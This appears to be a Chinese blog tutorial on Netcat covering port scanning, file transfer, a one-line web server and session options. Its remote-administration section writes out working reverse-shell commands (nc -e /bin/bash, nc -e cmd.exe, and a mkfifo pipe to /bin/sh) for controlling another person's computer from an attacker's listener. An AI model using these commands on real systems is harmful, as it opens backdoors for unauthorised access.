前言
小助手今天说的这个工具linux开启端口,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大的功能。
他就是 Nmap 工具包内的 Ncat。
介绍
Netcat是用于跨TCP和UDP端口读写数据的实用程序。
它可以用来做很多很酷的事情,比如文件传输,端口扫描,端口重定向,回溯别人的电脑,制作一个简单的聊天程序,用于网络故障排除等等,这就是为什么它被称为瑞士军刀。
此外,现在几乎所有的Linux发行版都预装了它,主要由网络管理员、DevOps和安全工程师用于他们的日常小任务。
Netcat-Traditional与Netcat-OpenBSD的区别
Netcat有两个类似的软件包linux开启端口,它们之间略有不同。
Netcat-Traditional包括一个附加的‘-e’选项,可用于将程序(即bash)与Netcat绑定。此功能对于远程管理非常有用。
Netcat-OpenBSD对IPv6和代理有一些额外的支持。
端口扫描
要扫描打开的端口,请使用“-z”选项。在UDP情况下,Netcat将尝试连接到每个端口,而不发送任何数据或非常有限的数据。键入以下内容
ubuntu@ubuntu:~$ nc -z -v example.com 80
......
example.com [x.x.x.x] 80 (http) open
扫描一系列端口键入一下内容
ubuntu@ubuntu:~$ nc -z -nv 192.168.1.2 20-80
(UNKNOWN) [192.168.1.2] 80 (http) open
(UNKNOWN) [192.168.1.2] 22 (ssh) open
文件传输
Netcat的另一个有用用例是远程计算机之间的文件传输。您可以将文本和二进制文件从一台PC发送到另一台PC。我们将以Netcat为例,尝试将文件“file.pdf”从Linux PC发送到Windows PC[IP 192.168.1.2]。
在接收方windows主机上键入以下内容
C:Users> nc -nvlp 1248 > file.pdf
Listening on [0.0.0.0] (family 2, port 1248)
在发送方linux主机上键入以下内容
ubuntu@ubuntu:~$ nc -nv 192.168.1.2 1248 < file.pdf
Connection to 192.168.1.2 1248 port [tcp/*] succeeded!
远程管理
Netcat最好的用例之一是远程管理,这意味着您可以使用Netcat控制其他人的PC。
Netcat-Traditional附带‘-e’选项,可用于将程序(即Windows中的cmd.exe或Linux中的bash)与端口绑定,这意味着Netcat将充当程序与远程PC之间的通信器。
Netcat将从远程PC接收命令,在本地系统上执行,并将结果发送回远程PC。
此功能被广泛用于恶意目的,在PC和服务器中保留后门。
此功能仅在Netcat-Traditional中可用,但通过一点小技巧,Netcat-OpenBSD也可以用于相同的目的。
也就是说你可以用两种方式来控制别人的电脑。
当受控计算机在NAT之后或没有公网IP时使用反弹shell,攻击者侦听端口并等待从受控计算机发送连接。
要使用Netcat获取反弹shell,您需要使用Netcat侦听端口。在攻击者计算机上键入以下内容,
ubuntu@ubuntu:~$ nc -nvlp 1248
Listening on [0.0.0.0] (family 2, port 1248)
在受控计算机上,如果是Linux运行
ubuntu@ubuntu:~$ nc -nv [IP_ADDR] 1248 -e /bin/bash
如果是Windows运行
C:Users> nc -nv [IP_ADDR] 1248 -e cmd.exe
Netcat-Openbsd中 -e 选项不受支持,所以需要曲线救国
ubuntu@ubuntu:~$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP_ADDR] 1248 >/tmp/f
简单web服务器
您还可以使用另一个简单的技巧将Netcat用作最小的单页面Web服务器。
这个Web服务器非常简单,没有特殊配置,我们将使用它将HTML代码发送到浏览器。
ubuntu@ubuntu:~$ while true ; do echo -e "HTTP/1.1 200 OKnn $(echo "server by netcat
")" | nc -nvlp 1248 ;
done
Listening on [0.0.0.0] (family 2, port 1248)
然后使用curl请求该路由地址
ubuntu@ubuntu:~$ curl http://127.0.0.1:1248/
server by netcat
指定会话超时时间
您可以使用“-w”选项指定Netcat会话的超时。Netcat将在指定时间超时后自动断开其会话。
ubuntu@ubuntu:~$ nc -w 30 -nvlp 1248
Listening on [0.0.0.0] (family 2, port 1248)
客户端监听守护
客户端就是断开,也坚持监听请求。在正常模式下,当客户端关闭连接时,Netcat服务器会关闭并停止侦听端口。您可以使用“-k”选项保持服务器正常运行
ubuntu@ubuntu:~$ nc -k -nlvp 1248
Listening on [0.0.0.0] (family 2, port 1248)
写在最后
Netcat是一种简单而高效的实用程序,可用于许多简单的日常任务。
它预装在几乎所有类似UNIX的操作系统中,可用于各种任务。
快去测试一下吧。
【本文由@程序员小助手 发布,持续分享编程故事,欢迎关注】